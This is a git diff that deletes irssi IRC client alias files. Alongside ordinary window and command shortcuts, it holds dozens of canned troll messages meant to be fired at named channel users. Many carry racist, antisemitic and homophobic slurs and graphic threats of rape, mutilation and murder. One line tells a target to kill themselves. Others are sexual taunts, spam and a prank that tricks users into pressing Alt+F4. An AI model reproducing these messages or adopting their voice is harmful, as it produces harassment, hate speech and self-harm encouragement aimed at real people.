-  quite = "say \0034υ \0037� \0038α\0039ℓ\00312ℓ \00313\037т\037\0034�\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038�\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039�\00312σ\00313\037υ\037\0034� \0037σ\0038f \0039�\00312�\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037";
-  quite2 = "say \0034D\0037є\0038ѕ\0039ѕ\00312ι\00313\037м\037α\0034т\0037σ\0038� \0039υ\00312� \00313\037т\037\0034�\0037υ\0038ℓ\0039є\00312у \00313\037ι\037\0034и\0037¢\0038�\0039є\00312∂\00313\037ι\037\0034в\0037ℓ\0038є\0039! \00312ι \00313\037н\037\0034α\0037ν\0038є \0039и\00312є\00313\037ν\037\0034α \0037є\0038ν\0039α \00312м\00313\037є\037\0034т \0037α \0038g\0039�\00312σ\00313\037υ\037\0034� \0037σ\0038f \0039�\00312�\00313\037ℓ\037 \0034q\0037υ\0038ι\0039т\00312є \00313\037ℓ\037у\0034к \0037υ \0038ℓ\0039σ\00312т\00313\037!\037 ";
-  rage = "say \002I AM SO ENRAGED RIGHT NOW. HOW DARE YOU DISPARAGE $*. $* HAS NOT FAILED ME ONCE, EVER";
-  cry = "say ಠ_ಠ";
-  fir3 = "say \0034,9$*";
-  oclet = "say shutup zitface";
-  fire1 = "say girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
-  fire2 = "say girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
-  fire3 = "say girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
-  fire4 = "say girl i will play with those nipples gently like tchaikovsky played the sweet melodies on                grand piano";
-  fire5 = "say girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
-  49 = "exec - -o perl ~/.irssi/scripts/stand/4994.pl $* 2>/dev/null";
-  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
-  lolle10 = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
-  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
-  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
-  lolle11 = "say \0033â–‘\0039â–’\0034â–“\0034,4    \0031,4$*\0034,4    \017\0034â–“\0039â–’\0033â–‘";
-  cry2 = "say Ω_Ω";
-  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
-  cry3 = "say ๑_๑";
-  cry4 = "say Û©_Û©";
-  cry5 = "say  Ûž_Ûž";
-  dikky = "say HY DIKKY HEARTIEZ THE NORD FROM NORWAY LIVING IN A FJORD";
-  wm = "window move";
-  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
-  gnaddy = "say It was gnaddy in the channel, we have installed several xdcc bots with the latest warez, porn, and mp3s! Just type !list !gimmiewarez !gimmiemp3s or !gimmieporn. Invite 25 people to #politics and get voice! Invite 100 to get more people in the ghetto.";
-  viol = "say $1, $2- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
-  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
-  vp9 = "say \0038+\0030:\0038]";
-  vap0r20 = "say \0034:\0033)";
-  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
-  f1re3 = "say \0030>\0030,4:)";
-  lolhy = "exec - -out perl -le 'do { print ( rand > .5 ? \"LOL\" : \"HY\" ) } for 1..25\\;'";
-  ballsac6 = "say $* u think ur cool insulting people on the internet but irl i think ur a 28 yo pansy bitchboi so u beta not mess wid me cuz im a real dangerous \037real man\037 and i'll beat u up so bad ur momy wont recognise ur face";
-  ballsac7 = "say $*: To save channel resources, please type \002\037all\037\002 of your messages in a text file before joining the channel. You can then paste the messages using Ctrl+C to copy and Alt+F4 to paste. Thank you for your participation in conserving scarce bandwidth. You can download a fast and reliable text editor at http://txtedit.on.nimp.org/\\; if you have any questions, we have a handy query form at http://www.pasteplace.net/u?1234 ";
-  emo2 = "part $C why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
-  care = "say care-meter\037:\037 \00314[\0035....\0034..\0037..\0038..\0033..\0039..\00314]\003   \003140%";
-  blogc = "say [ Add a comment to this blog entry ]";
-  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
-  hate = "say \0039,13i'm a grown up now and should be held accountable for my own actions, so i have decided to take \"hating u\" off my list of things to fill my day with.. besides, i still like you a whole little lot, just not as much, to be able to do that efficiently..";
-  dontread = "say PLEASE DON T READ THIS. YOU WILL GET KISSED ON THE NEAREST POSSIBLE FRIDAY BY THE LOVE OF YOOR LIFE. TOMORROW WILL BE THE BEST DAY OF YOUR LIFE. HOWEVER IF YOU DON T POST THIS COMMENT TO AT LEAST 3 VIDEOS YOU WILL DIE WITHIN 2 DAYS. NOW UV STARTED READIN DIS DUNT STOP THIS IS SO SCARY. SEND THIS OVER TO 5 VIDEOS IN 143 MINUTS WHEN UR DONE PRESS F6 AND UR CRUSHES NAME";
-  dau-greet = "dau --parse_special --bracket --color -split capitals -codes 'light red\\; light cyan' hi @ @nicks";
-  ballsac8 = "say $* sht up an dont act smrt if i wish i can b 100000x smrtr than u so sht up";
-  ulol = "say ╔╗╔�╦╗;say ║╚╣║║╚╗;say ╚�╩�╩��";
-  attn16 = "say \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\00313!\0038\\\\\003 \002$*\002 \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\0034G\0037R\0039I\00312D\0036S\0038\\\\";
-  zub1 = "say \0030-\0034:\00314|";
-  zub2 = "say \00314|\0034:\0030-";
-  hulkm = "say rage-meter for \002$*\002\037:\037 \00314[\0039||||||||||||||\00314]   \002\037\0039HULKIN'";
-  ragem = "say rage-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]   \002\037\0034HARD RAGE";
-  ragem2 = "say \0030,1 $* MADNESS LEVEL [                \0030,1 ] what the fuck? CALM AND PEACEFUL;say \0030,1 $* MADNESS LEVEL [\0039===-            \0030,1 ] RELAXED;say \0030,1 $* MADNESS LEVEL [\0039====\0038===-        \0030,1 ] NOT SO ANGRY;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037===-    \0030,1 ] ANGRY AT YOU LOLF;say \0030,1 $* MADNESS LEVEL [\0039====\0038====\0037====\0034===--\0030,1]\0034-OFF DA SCALE LOL (buffar overrun)";
-  emo3 = "say $Z <$0> Hello to you, good people of \002$C\002. I am most sorry to interrupt your activites with a sad message, but I can no longer take the massive amount of \037abuse\037 that has been placed upon my back by the evil \037SAND NIGGER TROLL\037 going by the name of \002\037$N\037\002. Please consider this cry of help when $N is around you, I am so upset I could only eat two lunches today. Thank you for your time. ";
-  funnym = "say lolometer for \037$*\037's comment: \0030[\0034|\00314|||||||||||||\0030]   \0034\037PENNYARCADE\037\003 ";
-  suicide = "say suicide-meter for \002$*\002\037:\037 \00314[\0039||\0033||\0038||\0037||\0035||\0034||||\00314]\0034||||\003\002Segm\0034|\003n\0034|\003ation\0034|\003fault";
-  crym = "say Cry-Meter for \037$*\037: \0030[\00311||||||||||||||\0030]\003   \00311\037WAAAAAAAAAAAAAAAAAAAAH";
-  ballsac9 = "say ********** I GAVE $* NUMEROUS CHANCES TO CHANGE HIMSELF FOR THE BETTER. HE'S CROSSED THE LIMITS OF MY PATIENCE AND TOLERANCE. I HAVE NO OTHER CHOICE: \002I HAVE PUT HIM ON IGNORE FOR THE REST OF HIS LIFE\002. BEING PUT ON IGNORE OL IS >>>>> BEING IGNORED IRL. SORRY, BUT I HAVE TO RETAIN MY SANITY********************************************";
-  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
-  pign3 = "say Before you listen to any more drivel by $*, take a look at who you're dealing with: http://www.dsherwood-guitartuition.co.uk/retard.jpg The abortion in the picture is $*. I won't even get into discussion about his child pornography. This faggot has nothing better to do than sit on the internet and spew worthless garbage. He's the new areems when it comes to being totally useless.; say Not to mention all he ever does is kiss timecop's ass and talk about shit no one cares. Do the world a favor and type /ignore $*";
-  worthm = "worth\00314-\0030o\00314-\003meter for \037$*\037\002:\002 \0030[\0034|\00314|||||||||||||\0030]   \0034\037BLOG";
-};
-\ No newline at end of file
diff --git a/irc/alias/vap0r.conf b/irc/alias/vap0r.conf
@@ -1,1782 +0,0 @@
-aliases = {
-  ATAG = "WINDOW SERVER";
-  ADDALLCHANS = "SCRIPT EXEC foreach my \\$channel (Irssi::channels()) { Irssi::command(\"CHANNEL ADD -auto \\$channel->{name} \\$channel->{server}->{tag} \\$channel->{key}\")\\;}";
-  B = "BAN";
-  BACK = "AWAY";
-  BANS = "BAN";
-  BYE = "QUIT";
-  C = "CLEAR";
-  CALC = "EXEC - if command -v bc >/dev/null 2>&1\\; then printf '%s=' '$*'\\; echo '$*' | bc -l\\; else echo bc was not found\\; fi";
-  CHAT = "in";
-  CUBES = "SCRIPT EXEC Irssi::active_win->print(\"%_bases\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { join '', map { \"%x0\\${_}0\\$_\" } '0'..'9','A'..'F' }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print(\"%_cubes\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { my \\$y = \\$_*6 \\; join '', map { my \\$x = \\$_ \\; map { \"%x\\$x\\$_\\$x\\$_\" } @{['0'..'9','A'..'Z']}[\\$y .. \\$y+5] } 1..6 }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) for 0..5 \\; Irssi::active_win->print(\"%_grays\", MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print( do { join '', map { \"%x7\\${_}7\\$_\" } 'A'..'X' }, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; Irssi::active_win->print(\"%_mIRC extended colours\", MSGLEVEL_CLIENTCRAP) \\; my \\$x \\; \\$x .= sprintf \"\00399,%02d%02d\",\\$_,\\$_ for 0..15 \\; Irssi::active_win->print(\\$x, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) \\; for my \\$z (0..6) { my \\$x \\; \\$x .= sprintf \"\00399,%02d%02d\",\\$_,\\$_ for 16+(\\$z*12)..16+(\\$z*12)+11 \\; Irssi::active_win->print(\\$x, MSGLEVEL_NEVER | MSGLEVEL_CLIENTCRAP) }";
-  DATE = "TIME";
-  DEHIGHLIGHT = "DEHILIGHT";
-  DESCRIBE = "ACTION";
-  DHL = "DEHILIGHT";
-  EXEMPTLIST = "MODE $C +e";
-  EXIT = "QUIT";
-  GOTO = "SCROLLBACK GOTO";
-  HIGHLIGHT = "HILIGHT";
-  HL = "HILIGHT";
-  HOST = "USERHOST";
-  INVITELIST = "MODE $C +I";
-  J = "JOIN";
-  K = "KICK";
-  KB = "KICKBAN";
-  KN = "KNOCKOUT";
-  LAST = "LASTLOG";
-  LEAVE = "PART";
-  M = "basically";
-  MUB = "UNBAN *";
-  N = "NAMES";
-  NMSG = "^MSG";
-  P = "PART";
-  Q = "QUERY";
-  RESET = "SET -default";
-  RUN = "SCRIPT LOAD";
-  SAY = "msg *";
-  SB = "SCROLLBACK";
-  SBAR = "STATUSBAR";
-  SIGNOFF = "QUIT";
-  SV = "MSG * Irssi $J ($V) - http://www.irssi.org";
-  T = "TOPIC";
-  UB = "UNBAN";
-  UMODE = "MODE $N";
-  UNSET = "SET -clear";
-  W = "/window";
-  WC = "WINDOW CLOSE";
-  WG = "WINDOW GOTO";
-  WJOIN = "JOIN -window";
-  WI = "WHOIS";
-  WII = "WHOIS $0 $0";
-  WL = "WINDOW LIST";
-  WN = "WINDOW NEW HIDDEN";
-  WQUERY = "QUERY -window";
-  WW = "WHOWAS";
-  1 = "WINDOW GOTO 1";
-  2 = "days";
-  3 = "WINDOW GOTO 3";
-  4 = "hours";
-  5 = "WINDOW GOTO 5";
-  6 = "WINDOW GOTO 6";
-  7 = "WINDOW GOTO 7";
-  8 = "WINDOW GOTO 8";
-  9 = "WINDOW GOTO 9";
-  10 = "WINDOW GOTO 10";
-  11 = "WINDOW GOTO 11";
-  12 = "WINDOW GOTO 12";
-  13 = "WINDOW GOTO 13";
-  14 = "WINDOW GOTO 14";
-  15 = "WINDOW GOTO 15";
-  16 = "WINDOW GOTO 16";
-  17 = "WINDOW GOTO 17";
-  18 = "WINDOW GOTO 18";
-  19 = "WINDOW GOTO 19";
-  20 = "WINDOW GOTO 20";
-  21 = "WINDOW GOTO 21";
-  22 = "WINDOW GOTO 22";
-  23 = "WINDOW GOTO 23";
-  24 = "WINDOW GOTO 24";
-  25 = "WINDOW GOTO 25";
-  26 = "WINDOW GOTO 26";
-  27 = "WINDOW GOTO 27";
-  28 = "WINDOW GOTO 28";
-  29 = "WINDOW GOTO 29";
-  30 = "/say you'd think the pp4l guys would have better shit to do now that all of us are in our 30s";
-  31 = "WINDOW GOTO 31";
-  32 = "WINDOW GOTO 32";
-  33 = "WINDOW GOTO 33";
-  34 = "WINDOW GOTO 34";
-  35 = "WINDOW GOTO 35";
-  36 = "WINDOW GOTO 36";
-  37 = "WINDOW GOTO 37";
-  38 = "WINDOW GOTO 38";
-  39 = "WINDOW GOTO 39";
-  40 = "WINDOW GOTO 40";
-  41 = "WINDOW GOTO 41";
-  42 = "WINDOW GOTO 42";
-  43 = "WINDOW GOTO 43";
-  44 = "WINDOW GOTO 44";
-  45 = "WINDOW GOTO 45";
-  46 = "WINDOW GOTO 46";
-  47 = "WINDOW GOTO 47";
-  48 = "WINDOW GOTO 48";
-  49 = "WINDOW GOTO 49";
-  50 = "WINDOW GOTO 50";
-  51 = "WINDOW GOTO 51";
-  52 = "WINDOW GOTO 52";
-  53 = "WINDOW GOTO 53";
-  54 = "WINDOW GOTO 54";
-  55 = "WINDOW GOTO 55";
-  56 = "WINDOW GOTO 56";
-  57 = "WINDOW GOTO 57";
-  58 = "WINDOW GOTO 58";
-  59 = "WINDOW GOTO 59";
-  60 = "WINDOW GOTO 60";
-  61 = "WINDOW GOTO 61";
-  62 = "WINDOW GOTO 62";
-  63 = "WINDOW GOTO 63";
-  64 = "WINDOW GOTO 64";
-  65 = "WINDOW GOTO 65";
-  66 = "WINDOW GOTO 66";
-  67 = "WINDOW GOTO 67";
-  68 = "WINDOW GOTO 68";
-  69 = "WINDOW GOTO 69";
-  70 = "WINDOW GOTO 70";
-  71 = "WINDOW GOTO 71";
-  72 = "WINDOW GOTO 72";
-  73 = "WINDOW GOTO 73";
-  74 = "WINDOW GOTO 74";
-  75 = "WINDOW GOTO 75";
-  76 = "WINDOW GOTO 76";
-  77 = "WINDOW GOTO 77";
-  78 = "WINDOW GOTO 78";
-  79 = "WINDOW GOTO 79";
-  80 = "WINDOW GOTO 80";
-  81 = "WINDOW GOTO 81";
-  82 = "WINDOW GOTO 82";
-  83 = "WINDOW GOTO 83";
-  84 = "WINDOW GOTO 84";
-  85 = "WINDOW GOTO 85";
-  86 = "WINDOW GOTO 86";
-  87 = "WINDOW GOTO 87";
-  88 = "WINDOW GOTO 88";
-  89 = "WINDOW GOTO 89";
-  90 = "WINDOW GOTO 90";
-  91 = "WINDOW GOTO 91";
-  92 = "WINDOW GOTO 92";
-  93 = "WINDOW GOTO 93";
-  94 = "WINDOW GOTO 94";
-  95 = "WINDOW GOTO 95";
-  96 = "WINDOW GOTO 96";
-  97 = "WINDOW GOTO 97";
-  98 = "WINDOW GOTO 98";
-  99 = "WINDOW GOTO 99";
-  telnet = "window new hidden;window name telnet;exec -name telnet -nosh -interactive -window telnet $-";
-  dzl = "/say this is the equivalent to bitching at somebody who never played cheϟϟ for 5 imtunes about why they tried to move their pawn sideway";
-  dzl2 = "/say im with a credit union";
-  dzl3 = "/say i dont troll because im 26";
-  mh = "script exec Irssi::active_win()->{active}->command(sprintf(\"msg %s %s $*\", q/$C/, \\$_->{nick})) for (Irssi::active_win()->{active}->nicks());";
-
-  # {{{ p0r-rip
-
-  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
-  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
-  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
-  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
-  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
-  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
-  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
-  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
-  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
-  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
-  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
-  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
-  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
-
-  # {{{ e-love (nigga plz)
-
-  need = "say $*: I LOVE YOU\\; $*: WHERE ARE YOU\\; $*: I NEED YOU";
-
-  fire1 = "say girl i will pound that shit in 4/4 time while the sounds of ludwin van beethoven ring in our ears, sending us to  the next level of ecstacy";
-  fire2 = "say girl i will \"sonata\" that pretty pink clit while amadeus mozart enchants us with his sweet seductive melodies";
-  fire3 = "say girl i will lick that pussy in d minor while the haunting sounds of strauss push you into rhythmic orgasm";
-  fire4 = "say girl i will play with those nipples gently like tchaikovsky played the sweet melodies on                grand piano";
-  fire5 = "say girl i will caress u gently and ease all your fears as bobby mcfarin sings \"dont worry, be happy\"";
-
-  # {{{ emo faggotry
-
-  emo = "/say Im such a fuck up, I can't do anything right, I emotnaly drain folks, with my domnati9ing personality, I am a failure, when I need to talk to someone the most, the just walked the other way to avoid me noticeing me, i even heard someone say .thank god she didnt notice me.";
-  emo3 = "/say Ive worn my welcome and usefullness out, the only option left is a leap of faith. I am unwelcomne something is greatly wrong with me, Ive tired things, I want to be sane and sober, the docotr and my theprist have tried, I hurt and I am tired, sucide is the answer I think of digress in meaning anyway, I think thats the answer death by a leap of faith.";
-  emo2 = "/say Its a defect I am working on, but I further ailnated myself, and am greatly unwelcome, My life is meaningless, I am homeless, jobless, even my collage which I held on to hope is ina girm future.";
-
-  # {{{ crapflood
-
-  new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
-  panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
-  nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
-  damage = "say \002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
-  oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
-  happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
-  stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
-  shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
-  thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
-  urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
-  hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
-  irchax = "say \002\037\003";
-
-  # {{{ what
-
-  omfg = "say \0034O\0039h, this \0034M\0039elon is so \0034F\0039ucking \0034G\0039ood ";
-  haifa = "say yh she is come on man lets face it the way how she act and all that shit and also made a video with a white man he is nt arabian 4 shit i mean she is A WANNABE if u get me what i mean yh am with u u r right bt she pisses me off fuking hel cnt stand dis fake whore not jeliouse am fuking beta than her atleast am natural bt yh ok u r righ";
-  cp = "/notice crazypal BuZzZzZz";
-  trogg2 = "say $*: fine ban me you faggots i will fucking packet your shitty anime sitwe";
-  lumpp = "say $*: u a fucking asshole and i swear to god if you dont kill yourself ill do it for you god how the fuck do you sleep with yourself at night oh let me guess your going to say some ganster shit like i aint by myself bitch well guess what your wont be byyourself cus ill be above your fucking bed holding a knife holy fuck i never thought i could get this mad at anyone but your by far the most fucked up insane asshole ive ever seen.";
-  alive = "/say what a time to be alive";
-  jax = "/say $0 : stop it you idiot i thought we were friends you've been a real douchebag lately how am i half nigger?";
-  xploit = "say \002\0035,6THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  xploit2 = "say \002\0035,6THIS USER IS TRYING TO \0034,7EXPLIOT\0035,6 YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.";
-  sploit = "say $Z <$*> Killed (tetedupet (THIS USER IS TRYING TO EXPLIOT YOU, DO  NOT CLICK ANY LINK POSTED BY THIS USER.))";
-  oleg = "say Hello! My name is Oleg. I translate a translator, that is why such accent. I from Ukraine but can also talk on ðóñêîì. It is sorry that I do not know Angliskogo. And here are êàêèåòî people of êîòîðèå know Russian? I a with them talked ?!";
-  cracks = "say \0038**CRACKSERV** \0034FREE CRACK\00316 JUST TYPE \0038!crack\00316 FOR FREE CRACK";
-  aigis = "say fuck you $* i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
-  supers = "say \002this juden $* is makign a botnet, ignore all his files. in fact do not talk to him you will be infected by his packets";
-  furry = "say $*: Furcism is just as bad a racism jackass, if you dont have anything intelligent to say shut the fuck up.... Obviously furry is in demand if the mod created a board for it, therefore he needs to fix the link, and you can just avoid it with your furcist ass. Geez im getting tired of lil pricks saying stupid shit. May a tiger eat your entrails.....";
-  social = "say $*: Yes, perhaps embracing your status as a social misfit will allow you to appear \"edgy\" and \"cool\" as you're going through the pile of dirty clothes on your floor desparately looking for anything that isn't encrusted with either microwave burrito glop or your rancid dried semen";
-  banan = "say hy banan the hai2u";
-  turknet = "say \0034,8<3 TURKNET <3 :) :) <3 TURKNET <3";
-  lamo = "say $Z <$*> I'm a total Lamo. I'm 13 and the farthest I've gotten with a girl is hugged one. EVERYONE in my class has a bf or a gf and i'm like the only one who's single. ++++++++++++++++++++++++++++++++++ newsflash: no one cares and your little pipsqueak ass shouldn't be worrying about sex be yourself dammit why must you follow they are not cool!";
-  nanny = "say The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
-  noblog = "say The last link has been flagged by \037AntiBLOG\037 as \0034\037Confirmed Blog\037\003 --\00314[\003\002this channel protected by \037AntiBLOG\037 by Quitman & Associates\002\00314]";
-  mac = "/say $0 : No. No, I’m not going to buy a MacBook Air or any other piece of Apple trash, for that matter. I have Zippo lighters more technologically advanced than the MacBook Air. Call me a conformist, but I think I’ll stick with my custom-built PC that I can upgrade however I want whenever I feel like it.";
-  cry = "say ಠ_ಠ";
-  fir3 = "say \0034,9$*";
-  oclet = "/say $0, I left my phone charger at work and my cell phone is dead. I think I got food poisoning from 711 sushi. I was up until late in the morning. I didn't think of e-mailing until now. My roomates will be home soon and I can use their cellphone to call into the (place) if you need me to notify (guy).";
-  melonfish = "say \0033>\0039>\0033>\0039<\0035,4///\0031`\0035//\0031`\0035//\0033,9/\0030@\017\0039>    \0034,9srsly it is a delicious fruit";
-  lolle10 = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
-  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
-  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
-  lolle11 = "say \0033â–‘\0039â–’\0034â–“\0034,4    \0031,4$*\0034,4    \017\0034â–“\0039â–’\0033â–‘";
-  cry2 = "say Ω_Ω";
-  tdetect = "say \0039/\00314\037!\037\0039\\\\ \0038SECURITY ALERT\003\002:\002 A troll has been detected. Precautionary measures have been taken to prevent rage and fume from spreading. The following person has triggered this security alert: \0034\037$*\037";
-  cry3 = "say ๑_๑";
-  cry4 = "say Û©_Û©";
-  cry5 = "say  Ûž_Ûž";
-  dikky = "/say $0 : FUCKING FAGGOT TALKY BITCH";
-  dikky2 = "/say $0 : GET A CAM AND HAVE A REAL SHOW LIKE ME AND BE A REAL INTERNET STAR";
-  wm = "window move";
-  depth = "say $* fuckin cunt you listen to what I say and when the fuck I say dont ever fuckin diss me you dont even know who the fuck your dealing with ";
-  gnaddy = "/say amirite illuminati dicaprio o/ jews oink";
-  viol = "say $0, $1- is a violation of AOL's Terms of Service;say please stop NOW and review them at KEYWORD: TOS";
-  malert = "say \0034/\0039\037!\037\0034\\\\\017 \0034SECURITY ALERT\003\002:\017 A melon has been detected in the vicinity of \0039\037$*\037\003.";
-  vp9 = "say \0038+\0030:\0038]";
-  vap0r20 = "say \0034:\0033)";
-  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
-  f1re3 = "say \0030>\0030,4:)";
-  lolhy = "exec - -out perl -le 'do { print ( rand > .5 ? \"LOL\" : \"HY\" ) } for 1..25\\;'";
-  blogc = "say [ Add a comment to this blog entry ]";
-  screw = "say you know what, screw you. i came here relieved for one of the first times in a week that my life was finally returning to normal after the ordeal i've been through and you post some gay shit like that? nice compassion, jerkoff.";
-  hate = "/say I'm not just about hate. I love much too. In fact, the hate for civilization is because I love everything that is uncivilized, everything that civilization is killing. I love termites, spiders, streams, mushrooms, raccoons, and clean air. I love real humans who are honest and loving and fierce.";
-  ulol = "say ╔╗╔═╦╗;say ║╚╣║║╚╗;say ╚═╩═╩═╝";
-  zub1 = "say \0030-\0034:\00314|";
-  zub2 = "say \00314|\0034:\0030-";
-  trogg = "say HY WELL KNOWN PACKET KIDDIE TROGG";
-  479 = "exec - -o perl ~/.irssi/scripts/stand/479.pl $* 2>/dev/null ";
-  blax2 = "say \026\037  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ONCE YOU GO BLACK, YOU NEVER GO BACK ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
-  l0de2 = "say $* is a nice guy but I get the feeling he's the sort of chatter who off-screen visits linux user groups and cracks pun after terrible pun, painfully elbowing his fellow nerds in the ribs and asking them \"Did ya WGET it?\"";
